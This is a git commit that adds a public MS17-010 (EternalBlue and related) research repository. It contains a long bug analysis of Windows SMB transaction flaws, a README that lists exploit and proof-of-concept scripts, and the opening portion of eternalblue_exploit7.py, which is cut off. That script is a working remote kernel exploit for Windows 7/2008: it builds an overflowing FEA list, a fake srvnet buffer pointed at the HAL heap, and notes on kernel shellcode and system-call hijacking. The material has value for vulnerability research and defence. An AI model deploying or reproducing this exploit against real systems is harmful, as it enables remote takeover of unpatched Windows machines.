Initial upload

This commit is contained in:
worawit
2017-06-20 00:08:35 +07:00
parent 7a13c01c4a
commit 71d5f52707
19 changed files with 4401 additions and 2 deletions

432
BUG.txt Normal file
View File

@@ -0,0 +1,432 @@
===============
SMB Transaction
===============
To understand the bugs, we need to understand SMB transaction because most bugs in MS17-010 are related to transation.
I try to make it short.
SMB message structure is well documented in https://msdn.microsoft.com/en-us/library/ee441702.aspx. We might need it
for reference.
As documented in https://msdn.microsoft.com/en-us/library/ee441466.aspx, there are 6 SMB commands for transaction subprotocol.
If a transaction message is larger than SMB message (determined by MaxBufferSize in session parameter), a client
MUST use one or more SMB_COM_*TRANSACT*_SECONDARY command (with same TID, UID, PID and MID in SMB header) to send
transaction message that did not fit in the initial message.
Each SMB transaction command has subcommand codes. There are 3 group of transaction subcommand as documented in
https://msdn.microsoft.com/en-us/library/ee441514.aspx (because SMB_COM_*TRANSACT*_SECONDARY comamnds are needed to
send a large transaction message).
Now, we go through some implementaion detail on Windows SMB transaction.
- A TRANSACTION struct and transaction data buffer are always allocated in 1 buffer. In memory, a TRANSACTION struct
is always followed by data buffer as shown below.
+-----------------+--------------------------------------------+
| TRANSACTION | transaction data buffer |
+-----------------+--------------------------------------------+
- A transaction buffer is paged pool buffer.
- There is lookaside for transaction buffer which size is 0x5000.
- if size <=0x5000, use lookaside
- all buffer size will be 0x5000 (even required buffer size is only 0x100)
- if size >0x5000, directly allocate from paged pool
- if transaction command is SMB_COM_TRANSACTION and SetupCount is 0, directly allocate from paged pool
- TRANSACTION important struct member
- InSetup : The pointer to received setup in transaction data buffer.
- OutSetup : The pointer to reply setup (is set when all transaction data is received and NOT in transaction data buffer).
- InParameter : The pointer to received parameter in transaction data buffer.
- OutParameter : The pointer to reply parameter in transaction data buffer.
- InData : The pointer to received data in transaction data buffer.
- OutData : The pointer to reply data in transaction data buffer.
- SetupCount : The number of setup words that are included in the transaction request.
This one determines InSetup buffer size.
- MaxSetupCount : Maximum number of setup bytes that the client will accept in the transaction reply.
This one determines OutSetup buffer size.
- ParameterCount : The current number of received parameter bytes or the number of parameter to be sent in reply.
- TotalParameterCount : The total number of parameter bytes to be sent in this transaction request.
This one determines InParameter buffer size.
- MaxParameterCount : The maximum number of parameter bytes that the client will accept in the transaction reply.
This one determines OutParameter buffer size.
- DataCount : The current number of received data bytes or the number of data to be sent in reply.
- TotalDataCount : The total number of data bytes to be sent in this transaction request.
This one determines InData buffer size.
- MaxDataCount : The maximum number of data bytes that the client will accept in the transaction reply.
This one determines OutData buffer size.
- Function : The NT transaction subcommand code.
- Tid : The transaction Tid.
- Pid : The transaction Pid.
- Uid : The transaction Uid.
- Mid/Fid : The transaction Mid.
- AllDataReceived : The boolean which set to 1 when (ParameterCount == TotalParamterCount && DataCount == TotalDataCount).
- There are 3 memory layout for InParameter, OutParameter, InData, OutData buffer in transaction data buffer.
- memory layout for SMB_COM_TRANSACTION except TRANS_MAILSLOT_WRITE and "TRANS with zero SetupCount" is shown below.
In* and Out* buffers are overlapped.
+---------------+-----------------------------------------------------+
| TRANSACTION | transaction data buffer |
+---------------+-----------------------------------------------------+
| InSetup | InParamter | InData | |
+-----------------------------------------------------+
| OutParameter | OutData |
+-----------------------------------------------------+
- memory layout for SMB_COM_TRANSACTION2 and exception case from above SMB_COM_TRANSACTION is shown below.
All buffers are not overlapped.
+---------------+------------------------------------------------------------------------------+
| TRANSACTION | transaction data buffer |
+---------------+------------------------------------------------------------------------------+
| InSetup | InParamter | InData | OutParameter | OutData |
+------------------------------------------------------------------------------+
- memory layout for SMB_COM_NT_TRANS is shown below. All buffers are not overlapped. InParameter and OutParameter are
overlapped. InData and OutData are overlapped.
+---------------+-----------------------------------------------------------+
| TRANSACTION | transaction data buffer |
+---------------+-----------------------------------------------------------+
| InSetup | InParamter | InData | |
+---------+----------------------+--------------------------+
| | OutParameter | | OutData |
+-----------------------------------------------------------+
- Transaction is executed when (ParameterCount == TotalParamterCount && DataCount == TotalDataCount).
- While executing transaction, InParameter and InData pointer might be modified.
- After transaction is executed, ParameterCount and DataCount (is normally set in called transaction function) are used
for determining the reply size of OutParameter and OutData respectively.
- A transaction displacement in SMB_COM_*_SECONDARY request can be pointed to sent displacement data
- assume TotalParameterCount is 0 and TotalDataCount is 16
- first transaction request has 8 bytes of data
- secondary transaction request can have 8 bytes of data with displacement 0
- 8 bytes of data in first transaction request is overwritten
- next 8 bytes of data never be written
- For multipiece transaction (transaction that used secondary to complete transaction), a server uses
last SMB_COM_*_SECONDARY command to determine transaction type.
- if last command is SMB_COM_TRANSACTION_SECONDARY, a server executes subcommand as TRANS_*.
- if last command is SMB_COM_TRANSACTION2_SECONDARY, a server executes subcommand as TRANS2_*.
- if last command is SMB_COM_NT_TRANSACT_SECONDARY, a server executes subcommand as NT_TRANSACT_*.
- A transaction is also used in SMB_COM_WRITE_ANDX command (https://msdn.microsoft.com/en-us/library/ee441954.aspx)
when WriteMode is RAW_MODE. This transaction use FID in parameters instead of MID in SMB header for
matching transaction.
That should be enough for SMB transaction. It's time to start bug details.
Below is bugs I found from MS17-010 diff.
===========
Bug1: Uninitialize transaction InData and OutData buffer
===========
A transaction data buffer is not initialized. If we send multipiece transaction request with displacement 0,
a server will use uninitialized parameter and data for input. An uninitialized input here is normally useless
because a server processes input parameter and data as untrusted data.
If we found a transaction subcommand that use part of input as output, we could use this bug for
leaking uninitialized data.
A transaction subcommand that perfect for exploiting this bug is NT_TRANSACT_RENAME. The NT_TRANSACT_RENAME
is documented as "Not implemented". But there is a code in SrvSmbNtRename() function.
Here is psuedocode for SrvSmbNtRename()
SrvSmbNtRename()
{
// ParameterCount must be >= 4
// first 2 bytes of InParameter is fid
// verify fid
// if verification failed, return error without data
// if verification success, return success without modifying OutParameter, ParameterCount, OutData, DataCount
}
But, as mentioned above, transaction InData and OutData are overlapped. Without modifying any
transaction *Parameter* and *Data*, a server returns InData (like echo).
An only REQUIREMENT for using NT_TRANSACT_RENAME command is valid fid. So we need to get fid by opening
any piped name or share first.
This bug is not helpful for exploitation because leaked info is from freed buffer. It is difficult to get
exact information because a transaction size is always >=0x5000.
Here is some useful of this bug:
- detect arch (32 or 64 bit) from leak pointer
- might contain important data
The PoC filename for this bug is infoleak_uninit.py
Note:
- this bug is not used in NSA leak tools.
- because the fix only set zero to InParameter and InData buffer, it is still possible to do information disclosure
from OutParameter and OutData. May17 security patches fix information disclosure from OutParameter and OutData in
various function (no zero the whole OutParameter and OutData buffer).
- May17 security patches modify SrvSmbNtRename() to return an error.
===============
Bug2: Transaction reply data size might be larger than allocated buffer size
===============
SrvCompleteExecuteTransaction() function is used for sending transaction reply to a client. But it has no check if
ParameterCount/DataCount is larger than MaxParameterCount/MaxDataCount. SrvCompleteExecuteTransaction() might
copy reply data from outside of buffer (OOB read) to client. This can lead to information disclosure.
To exploit the bug, we send a SMB_COM_TRANSACTION commannd with MaxParameterCount to very large value and MaxDataCount to 1.
If a transaction reply data size (DataCount) is more than MaxDataCount, SrvCompleteExecuteTransaction() will send
OutData and data next to OutData buffer to a client. The transaction buffer should look like below.
+---------------+-----------------------------------------------------+
| TRANSACTION | transaction data buffer |
+---------------+-----------------------------------------------------+
| InSetup | InParamter | InData | |
+-----------------------------------------------------+------------+
| OutParameter |OutData| OOB read |
+-----------------------------------------------------+------------+
The NSA eternalromance use TRANS_PEEK_NMPIPE subcommand (https://msdn.microsoft.com/en-us/library/ee441845.aspx) to
exploit this bug. The PoC filename is eternalromance_leak.py.
The bug is fixed in Windows 8 (since release) and later. MS17-010 add the same code as Windows 8 to fix this bug on Windows<8.
NSA eternalromance relies on this bug to leak TRANSACTION struct. So NSA eternalromance cannot exploit Windows 8 and later.
===============
Bug3: Transaction ParameterCount/DataCount might be greater than TotalParameterCount/TotalDataCount
===============
When sending SMB_COM_*_SECONDARY command, a server checks a displacement value and a size of data to not write outside of
allocated buffer. But there is no check if total received ParameterCount/DataCount is greater than
TotalParameterCount/TotalDataCount.
For example:
- a transaction with TotalDataCount=0x20
- first request, send 0x18 bytes of data (DataCount=0x18)
- next request, send 0x10 bytes of data (DataCount=0x28)
Normally, this bug is not useful for exploitation. But it can be used with Bug4 (below).
===============
Bug4: Transaction secondary request is accepted and processed after transaction execution is started
===============
If we send a transaction secondary request to a transaction that AllDataReceived member has already been set, a server will
send back an error without processing the request.
For multipiece transaction, AllDataReceived is set (in SrvSmbTransactionSecondary()/SrvSmbNtTransactionSecondary()) before
executing transaction. But AllDataReceived is NOT set (in SrvSmbTransaction()/SrvSmbNtTransaction()) when transaction is
completed in 1 SMB message. This allow us to send a transaction secondary request to modify InParamter/InData buffer and
ParameterCount/DataCount while server is executing a transaction or sending a reply.
First case to exploit this bug is sending a transaction secondary request while a server is sending a reply. The result is
a server replies data outside of OutData buffer (similar to Bug2). But this method seems to be race condition that diffcult to win.
NSA eternalchampion and eternalsynergy use very nice trick to always win this race condition.
When doing SMB login, we send SMB_COM_SESSION_SETUP_ANDX (https://msdn.microsoft.com/en-us/library/ee442101.aspx) request to
a server. The request contains MaxBufferSize field (https://msdn.microsoft.com/en-us/library/ee441849.aspx) which is
the maximum size, in bytes, of the largest SMB message that the client can receive.
If a transaction reply size is larger than MaxBufferSize, a server will send multiple transaction replies to a client. To resume
sending next transaction reply, a server add work queue to call RestartTransactionResponse() function. Moreover,
RestartTransactionResponse() has no check about MaxParameterCount and MaxDataCount.
With above information, the NSA exploit sends SMB_COM_SESSION_SETUP_ANDX (login) with specific MaxBufferSize. Then, the exploit
creates one complete NT_TRANS_RENAME request which response size is larger than MaxBufferSize and one NT_TRANS_RENAME
secondary request, with a number of data is a number of byte to leak. Finally, the exploit sends these 2 requests in 1 TCP packet.
After a server sends first part of transaction reply, a server queue a call to RestartTransactionResponse() after NT_TRANS_RENAME
secondary request. The transaction DataCount is increased when processing the NT_TRANS_RENAME secondary request (this works
because of Bug3). Then, the server sends second part of transaction reply with data outside of OutData buffer.
We can see PoC for leaking information with this bug in eternalchampion_leak.py and eternalsynergy_leak.py. I do not know why
both exploits use different parameters.
Another case to exploit this bug is sending a transaction secondary request while a server is executing a transaction. This case
is very difficult to find a exploit path and requires to win a race (champion). The NSA eternalchampion uses
TRANS2_QUERY_PATH_INFORMATION subcommand (https://msdn.microsoft.com/en-us/library/ee441634.aspx) with
SMB_INFO_IS_NAME_VALID query information level (https://msdn.microsoft.com/en-us/library/ff470079.aspx).
In SrvSmbQueryPathInformation() function with SMB_INFO_IS_NAME_VALID information level, the transaction InData pointer is
modified to point to UNICODE_STRING struct allocated on stack. After modified InData pointer, if a server processes a transaction
secondary request before executing transaction is finished, the stack data (saved eip/rip) will be overwritten with certain offset
by data and dataDisplacement in transaction secondary. Because offset in stack is always fixed, NSA eternalchampion has no
chance to crash a target.
The PoC filename for this bug is eternalchampion_poc.py
Note: I found the same fix for this bug in SrvSmbWriteAndX() too
===============
Bug5: Transaction secondary can be used with any transaction type
===============
Normally SMB_COM_TRANSACTION command must be followed by SMB_COM_TRANSACTION_SECONDARY command, SMB_COM_TRANSACTION2 command must be
followed by SMB_COM_TRANSACTION2_SECONDARY command and SMB_COM_NT_TRANS command must be followed by SMB_COM_NT_TRANS_SECONDARY
command if transaction data in first SMB message is not complete. But a server has no check. So we can send any transaction
secondary command (which matches TID, UID, PID and MID) to complete a transaction.
Do not forget that a server uses last SMB_COM_*_SECONDARY command to determine transaction type. So we can turn any transaction type
to be SMB_COM_TRANSACTION or SMB_COM_TRANSACTION2. We cannot turn non SMB_COM_NT_TRANS to SMB_COM_NT_TRANS because SMB_COM_NT_TRANS
uses Function to determine transaction subcommand.
This bug is used in NSA eternalblue exploit for sending large transaction data (>=0x10000 bytes) for TRANS2_OPEN2. Because only
SMB_COM_NT_TRANS request use 4 bytes for TotalDataCount field (other use 2 bytes), the exploit have to start a transaction with
SMB_COM_NT_TRANS command then following the SMB_COM_TRANSACTION2_SECONDARY command.
You can see an example usage in eternalblue_poc.py.
As I mentioned in introduction section, a transaction is also used in SMB_COM_WRITE_ANDX command when WriteMode is RAW_MODE.
This is very interesting case because SrvSmbWriteAndX() writes data to transacation with below code.
memmove(transaction->Indata, request->data, request->dataLength);
transaction->InData += request->dataLength; // shift InData pointer
transaction->DataCount += request->dataLength;
Notice that SrvSmbWriteAndX() shifts InData pointer when writing data, while transaction secondary uses dataDisplacement to set
where to write a data in InData buffer (without moving InData).
Assume we start a transaction with TotalDataSize=0x2000 with MID value same as FID of open named pipe. The memory layout look
like below (I omit OutParameter and OutData because they are not related).
+---------------+-----------------------------------------------------+
| TRANSACTION | transaction data buffer |
+---------------+-----------------------------------------------------+
| InSetup | InParamter | InData |
+-----------------------------------------------------+
Then, we send a SMB_COM_WRITE_ANDX command with WriteMode=RAW_MODE and 0x100 bytes of data.
+---------------+-----------------------------------------------------+
| TRANSACTION | transaction data buffer |
+---------------+-----------------------------------------------------+
| InSetup | InParamter | | InData |
+-----------------------------------------------------+
Then, writing outside transaction data buffer is possible if we send a transaction secondary command with dataDisplacement=0x1f??.
This OOB write is very good for exploitation however SMB_COM_WRITE_ANDX command with RAW_MODE write requires a valid named pipe fid.
Since Windows Vista, the default Windows configuration without additional service does not allow an anonymous logon (NULL session)
to access any named pipe.
You can see PoC in eternalromance_poc.py
Note: NSA eternalromance and eternalsynergy use this bug for OOB write. Eternalromance uses Bug2 for leaking transaction struct
(which is limited to Windows<8) but eternalsynergy uses Bug4 for leaking transaction struct and some trick to find
a NonPagedPoolExecute page (I do not check how exploit exactly work) in Windows 8 and Windows 2012.
===============
Bug6: Wrong type assigment in SrvOs2FeaListSizeToNt()
===============
The FEA (Full Extended Attribute), https://msdn.microsoft.com/en-us/library/ee915515.aspx, is used in SMB_COM_TRANSACTION2 subcommands.
Normally we need to send FEA_LIST (https://msdn.microsoft.com/en-us/library/ff359296.aspx) in SMB_COM_TRANSACTION2 subcommands request.
When processing SMB_COM_TRANSACTION2 subcommands request wth FEA_LIST, Windows need to convert FEA_LIST to a list of
FILE_FULL_EA_INFORMATION (https://msdn.microsoft.com/en-us/library/cc232069.aspx).
There is a bug while converting FEA_LIST to FILE_FULL_EA_INFORMATION if FEA_LIST.SizeOfListInBytes is >=0x10000. The SrvOs2FeaListToNt()
is used for converting which has following psuedocode.
SrvOs2FeaListToNt()
{
outputLen = SrvOs2FeaListSizeToNt(feaList);
output = SrvAllocateNonPagedPool(outputLen);
// start copy all FEA data to output in a list of FILE_FULL_EA_INFORMATION format
}
SrvOs2FeaListSizeToNt(feaList)
{
outputLen = 0;
foreach (fea in feaList) {
if (IsFeaDataOutOfBound(fea, feaList)) {
// shrink feaList.SizeOfListInBytes to only valid fea so copy step does not need to check again.
// feaList.SizeOfListInBytes is DWORD but it is cast to WORD so HIDWORD is not modified.
(WORD) feaList.SizeOfListInBytes = Pos(fea) - Pos(feaList);
return outputLen;
}
outputLen += GetNtLengthForFea(fea);
}
return outputLen;
}
From pseudocode above, if we send feaList.SizeOfListInBytes=0x10000 while valid FEA entries in list is less than
0x10000 bytes (assume 0x4000), the feaList.SizeOfListInBytes will be 0x14000 because HIDWORD is not modified and
outputLen is only for FEA entries size 0x4000. Then the output buffer will be overflown while copy FEA data to
output buffer.
As mentioned above, we need to send a transaction data that larger than 0x10000 bytes. But the FEA_LIST data is used
only in SMB_COM_TRANSACTION2 which TotalDataCount is USHORT (max is 0xffff). So we need to Bug5 to send a FEA_LIST
data that larger than 0x10000.
The exploit path that required minimum condition is TRANS2_OPEN2 subcommand. The SrvSmbOpen2() calls SrvOs2FeaListToNt()
for converting FEA_LIST before any permission checking. So a client just need to access any share (IPC$ is best choice)
and able to send SMB_COM_NT_TRANS and SMB_COM_TRANSACTION2_SECONDARY commands.
Above exploitation requirements are good for Windows<8 because Windows<8 always allow anonymous (NULL session) to
access IPC$ and send transaction commands. However, Windows>=8 does not allow anonymous to access IPC$ by default
(IPC$ might be acessible but cannot send a transaction command).
You can see PoC in eternalblue_poc.py
===============
Bug7: Wrong type assigment in SrvOs2GeaListSizeToNt()
===============
The bug is same as Bug6 in different function but all exploit path requires valid fid.
===============
Bug8: SESSION_SETUP_AND_X request format confusion
===============
This bug is not fixed in MS17-010. I put it here because NSA leak tools use it for exploitation. The bug itself
can only fool a server to allocate a large nonpaged pool (<0x20000) for storing small client information.
There are 2 format of SMB_COM_SESSION_SETUP_ANDX request for "NT LM 0.12" dialect. The first format is documented
in https://msdn.microsoft.com/en-us/library/ee441849.aspx. It is used for LM and NTLM authentication. Another format
is documented in https://msdn.microsoft.com/en-us/library/cc246328.aspx. It is used for NTLMv2 (NTLM SSP) authentication.
We noted that these 2 foramts have different WordCount (first one is 13 and later is 12).
The SMB_COM_SESSION_SETUP_ANDX request is handled by BlockingSessionSetupAndX() function. Below is psuedocode for hanlding
both request format (only related part).
BlockingSessionSetupAndX()
{
// ...
// check word count
if (! (request->WordCount == 13 || (request->WordCount == 12 && (request->Capablilities & CAP_EXTENDED_SECURITY))) ) {
// error and return
}
// ...
if ((request->Capablilities & CAP_EXTENDED_SECURITY) && (smbHeader->Flags2 & FLAGS2_EXTENDED_SECURITY)) {
// this request is Extend Security request
GetExtendSecurityParameters(); // extract parameters and data to variables
SrvValidateSecurityBuffer(); // do authentication
}
else {
// this request is NT Security request
GetNtSecurityParameters(); // extract parameters and data to variables
SrvValidateUser(); // do authentication
}
// ...
}
From psuedocode above, if we send SMB_COM_SESSION_SETUP_ANDX request as Extended Security (WordCount 12) with
CAP_EXTENDED_SECURITY but no FLAGS2_EXTENDED_SECURITY, the request will be processed as NT Security request (WordCount 13).
We can also send the request as NT Security request (WordCount 13) with CAP_EXTENDED_SECURITY and FLAGS2_EXTENDED_SECURITY.
But later case is no use because there is an extra check of ByteCount value in GetExtendSecurityParameters() function.
Normally a server validates WordCount and ByteCount field in SrvValidateSmb() function before passing a request to
request handler. The WordCount*2 and ByteCount must not be larger than received data size. With the confusing bug, a server
read ByteCount from wrong offset while extracting parameters and data to variables.
The bug does not cause any memory corruption or information disclosure because ByteCount value is only used for calculating
buffer size for storing NativeOS and NativeLanMan unicode string (UTF16). The NativeOS and NativeLanMan size is caculated from
"ByteCount - other_data_size". The buffer for NativeOS and NativeLanMan unicode string is allocated on nonpaged pool.
NSA eternalchampion uses this bug to set UNICODE_STRING.MaximumLength to 0x15ff and place staging shellcode in buffer because
nonpaged pool is executable on Windows<8.
Note: On x86, 'ff15????????' is 'call [????????]' instruction. On x64, 'ff1500000000' is 'call [rip+0]'.
NSA eternalblue uses this bug to creating hole because we can control when to allocate and free the buffer.
The PoC filename for this bug is npp_control.py and the example usages of this bug is eternalblue_exploit.py and eternalchampion_poc2.py
Note: This mothod cannot use for user authentication if NTLM authentication is disabled

View File

@@ -1,2 +1,17 @@
# MS17-010 # Files
MS17-010
* **BUG.txt** MS17-010 bug detail and some analysis
* **eternalblue_exploit7.py** Eternalblue exploit for windows 7/2008
* **eternalblue_exploit8.py** Eternalblue exploit for windows 8/2012 x64
* **eternalblue_poc** Eternalblue PoC for buffer overflow bug
* **eternalchampion_leak.py** Eternalchampion PoC for leaking info part
* **eternalchampion_poc.py** Eternalchampion PoC for controlling RIP
* **eternalchampion_poc2.py** Eternalchampion PoC for getting code execution
* **eternalromance_leak.py** Eternalromance PoC for leaking info part
* **eternalromance_poc.py** Eternalromance PoC for OOB write
* **eternalromance_poc2.py** Eternalromance PoC for controlling transaction which leads to arbitrary read/write
* **eternalsynergy_leak.py** Eternalsynergy PoC for leaking info part
* **infoleak_uninit.py** PoC for leaking info from uninitialized transaction data buffer
* **mysmb.py** Extended Impacket SMB class for easier to exploit MS17-010 bugs
* **npp_control.py** PoC for controlling nonpaged pool allocation with session setup command
* **zzz_exploit.py** Exploit for Windows7 and later (x64 only and requires accessing to named pipe)

583
eternalblue_exploit7.py Normal file
View File

@@ -0,0 +1,583 @@
#!/usr/bin/python
from impacket import smb
from struct import pack
import sys
import socket
'''
EternalBlue exploit for Windows 7/2008 by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)
Tested on:
- Windows 7 SP1 x64
- Windows 2008 R2 SP1 x64
- Windows 7 SP1 x86
- Windows 2008 SP1 x86
Reference:
- http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
Bug detail:
- For the buffer overflow bug detail, please see http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
- For other bugs defailt, see BUG.txt
- Here is related struct info.
#####
typedef struct _FEA { /* fea */
BYTE fEA; /* flags */
BYTE cbName; /* name length not including NULL */
USHORT cbValue; /* value length */
} FEA, *PFEA;
typedef struct _FEALIST { /* feal */
DWORD cbList; /* total bytes of structure including full list */
FEA list[1]; /* variable length FEA structures */
} FEALIST, *PFEALIST;
typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR Flags;
UCHAR EaNameLength;
USHORT EaValueLength;
CHAR EaName[1];
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
- The exploit also use other 2 bugs
- Send a large transaction with SMB_COM_NT_TRANSACT but processed as SMB_COM_TRANSACTION2 (requires for trigger bug)
- Send special session setup command (SMB login command) to allocate big nonpaged pool (use for creating hole)
######
Exploit info:
- I do not reverse engineer any x86 binary so I do not know about exact offset.
- The exploit use heap of HAL (address 0xffffffffffd00010 on x64) for placing fake struct and shellcode.
This memory page is executable on Windows 7 and Wndows 2008.
- The important part of feaList and fakeStruct is copied from NSA exploit which works on both x86 and x64.
- The exploit trick is same as NSA exploit
- The overflow is happened on nonpaged pool so we need to massage target nonpaged pool.
- If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5)
- See the code and comment for exploit detail.
srvnet buffer info:
- srvnet buffer contains a pointer to another struct and MDL about received buffer
- Controlling MDL values results in arbitrary write
- Controlling pointer to fake struct results in code execution because there is pointer to function
- A srvnet buffer is created after target receiving first 4 bytes
- First 4 bytes contains length of SMB message
- The possible srvnet buffer size is "..., 0x9000, 0x11000, 0x21000, ...". srvnet.sys will select the size that big enough.
- After receiving whole SMB message or connection lost, server call SrvNetWskReceiveComplete() to handle SMB message
- SrvNetWskReceiveComplete() check and set some value then pass SMB message to SrvNetCommonReceiveHandler()
- SrvNetCommonReceiveHandler() passes SMB message to SMB handler
- If a pointer in srvnet buffer is modified to fake struct, we can make SrvNetCommonReceiveHandler() call our shellcode
- If SrvNetCommonReceiveHandler() call our shellcode, no SMB handler is called
- Normally, SMB handler free the srvnet buffer when done but our shellcode dose not. So memory leak happen.
- Memory leak is ok to be ignored
Shellcode note:
- Shellcode is executed in kernel mode (ring 0) and IRQL is DISPATCH_LEVEL
- Hijacking system call is common method for getting code execution in Process context (IRQL is PASSIVE_LEVEL)
- On Windows x64, System call target address can be modified by writing to IA32_LSTAR MSR (0xc0000082)
- IA32_LSTAR MSR scope is core/thread/unique depended on CPU model
- On idle target with multiple core processors, the hijacked system call might take a while (> 5 minutes) to
get call because it is called on other processors
- Shellcode should be aware of double overwriting system call target address when using hijacking system call method
- Then, using APC in Process context to get code execution in userland (ring 3)
'''
# wanted overflown buffer size (this exploit support only 0x10000 and 0x11000)
# the size 0x10000 is easier to debug when setting breakpoint in SrvOs2FeaToNt() because it is called only 2 time
# the size 0x11000 is used in nsa exploit. this size is more reliable.
NTFEA_SIZE = 0x11000
# the NTFEA_SIZE above is page size. We need to use most of last page preventing any data at the end of last page
ntfea10000 = pack('<BBH', 0, 0, 0xffdd) + 'A'*0xffde
ntfea11000 = (pack('<BBH', 0, 0, 0) + '\x00')*600 # with these fea, ntfea size is 0x1c20
ntfea11000 += pack('<BBH', 0, 0, 0xf3bd) + 'A'*0xf3be # 0x10fe8 - 0x1c20 - 0xc = 0xf3bc
ntfea1f000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x2494 # with these fea, ntfea size is 0x1b6f0
ntfea1f000 += pack('<BBH', 0, 0, 0x48ed) + 'A'*0x48ee # 0x1ffe8 - 0x1b6f0 - 0xc = 0x48ec
ntfea = { 0x10000 : ntfea10000, 0x11000 : ntfea11000 }
'''
Reverse from srvnet.sys (Win7 x64)
- SrvNetAllocateNonPagedBufferInternal() and SrvNetWskReceiveComplete():
// for x64
struct SRVNET_BUFFER {
// offset from POOLHDR: 0x10
USHORT flag;
char pad[2];
char unknown0[12];
// offset from SRVNET_POOLHDR: 0x20
LIST_ENTRY list;
// offset from SRVNET_POOLHDR: 0x30
char *pnetBuffer;
DWORD netbufSize; // size of netBuffer
DWORD ioStatusInfo; // copy value of IRP.IOStatus.Information
// offset from SRVNET_POOLHDR: 0x40
MDL *pMdl1; // at offset 0x70
DWORD nByteProcessed;
DWORD pad3;
// offset from SRVNET_POOLHDR: 0x50
DWORD nbssSize; // size of this smb packet (from user)
DWORD pad4;
QWORD pSrvNetWskStruct; // want to change to fake struct address
// offset from SRVNET_POOLHDR: 0x60
MDL *pMdl2;
QWORD unknown5;
// offset from SRVNET_POOLHDR: 0x70
// MDL mdl1; // for this srvnetBuffer (so its pointer is srvnetBuffer address)
// MDL mdl2;
// char transportHeader[0x50]; // 0x50 is TRANSPORT_HEADER_SIZE
// char netBuffer[0];
};
struct SRVNET_POOLHDR {
DWORD size;
char unknown[12];
SRVNET_BUFFER hdr;
};
'''
# Most field in overwritten (corrupted) srvnet struct can be any value because it will be left without free (memory leak) after processing
# Here is the important fields on x64
# - offset 0x58 (VOID*) : pointer to a struct contained pointer to function. the pointer to function is called when done receiving SMB request.
# The value MUST point to valid (might be fake) struct.
# - offset 0x70 (MDL) : MDL for describe receiving SMB request buffer
# - 0x70 (VOID*) : MDL.Next should be NULL
# - 0x78 (USHORT) : MDL.Size should be some value that not too small
# - 0x7a (USHORT) : MDL.MdlFlags should be 0x1004 (MDL_NETWORK_HEADER|MDL_SOURCE_IS_NONPAGED_POOL)
# - 0x80 (VOID*) : MDL.Process should be NULL
# - 0x88 (VOID*) : MDL.MappedSystemVa MUST be a received network buffer address. Controlling this value get arbitrary write.
# The address for arbitrary write MUST be subtracted by a number of sent bytes (0x80 in this exploit).
#
#
# To free the corrupted srvnet buffer, shellcode MUST modify some memory value to satisfy condition.
# Here is related field for freeing corrupted buffer
# - offset 0x10 (USHORT): be 0xffff to make SrvNetFreeBuffer() really free the buffer (else buffer is pushed to srvnet lookaside)
# a corrupted buffer MUST not be reused.
# - offset 0x48 (DWORD) : be a number of total byte received. This field MUST be set by shellcode because SrvNetWskReceiveComplete() set it to 0
# before calling SrvNetCommonReceiveHandler(). This is possible because pointer to SRVNET_BUFFER struct is passed to
# your shellcode as function argument
# - offset 0x60 (PMDL) : points to any fake MDL with MDL.Flags 0x20 does not set
# The last condition is your shellcode MUST return non-negative value. The easiest way to do is "xor eax,eax" before "ret".
# Here is x64 assembly code for setting nByteProcessed field
# - fetch SRVNET_BUFFER address from function argument
# \x48\x8b\x54\x24\x40 mov rdx, [rsp+0x40]
# - set nByteProcessed for trigger free after return
# \x8b\x4a\x2c mov ecx, [rdx+0x2c]
# \x89\x4a\x38 mov [rdx+0x38], ecx
TARGET_HAL_HEAP_ADDR_x64 = 0xffffffffffd00010
TARGET_HAL_HEAP_ADDR_x86 = 0xffdff000
fakeSrvNetBufferNsa = pack('<II', 0x11000, 0)*2
fakeSrvNetBufferNsa += pack('<HHI', 0xffff, 0, 0)*2
fakeSrvNetBufferNsa += '\x00'*16
fakeSrvNetBufferNsa += pack('<IIII', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x20)
fakeSrvNetBufferNsa += pack('<IIHHI', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0x60, 0x1004, 0) # _, x86 MDL.Next, .Size, .MdlFlags, .Process
fakeSrvNetBufferNsa += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86-0x80, 0, TARGET_HAL_HEAP_ADDR_x64) # x86 MDL.MappedSystemVa, _, x64 pointer to fake struct
fakeSrvNetBufferNsa += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0) # x64 pmdl2
# below 0x20 bytes is overwritting MDL
# NSA exploit overwrite StartVa, ByteCount, ByteOffset fields but I think no need because ByteCount is always big enough
fakeSrvNetBufferNsa += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
fakeSrvNetBufferNsa += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64-0x80) # MDL.Process, MDL.MappedSystemVa
# below is for targeting x64 only (all x86 related values are set to 0)
# this is for show what fields need to be modified
fakeSrvNetBufferX64 = pack('<II', 0x11000, 0)*2
fakeSrvNetBufferX64 += pack('<HHIQ', 0xffff, 0, 0, 0)
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += '\x00'*16 # 0x40
fakeSrvNetBufferX64 += pack('<IIQ', 0, 0, TARGET_HAL_HEAP_ADDR_x64) # _, _, pointer to fake struct
fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0) # pmdl2
fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64-0x80) # MDL.Process, MDL.MappedSystemVa
fakeSrvNetBuffer = fakeSrvNetBufferNsa
#fakeSrvNetBuffer = fakeSrvNetBufferX64
feaList = pack('<I', 0x10000) # the value of feaList size MUST be >=0x10000 to trigger bug (but must be less than data size)
feaList += ntfea[NTFEA_SIZE]
# Note:
# - SMB1 data buffer header is 16 bytes and 8 bytes on x64 and x86 respectively
# - x64: below fea will be copy to offset 0x11000 of overflow buffer
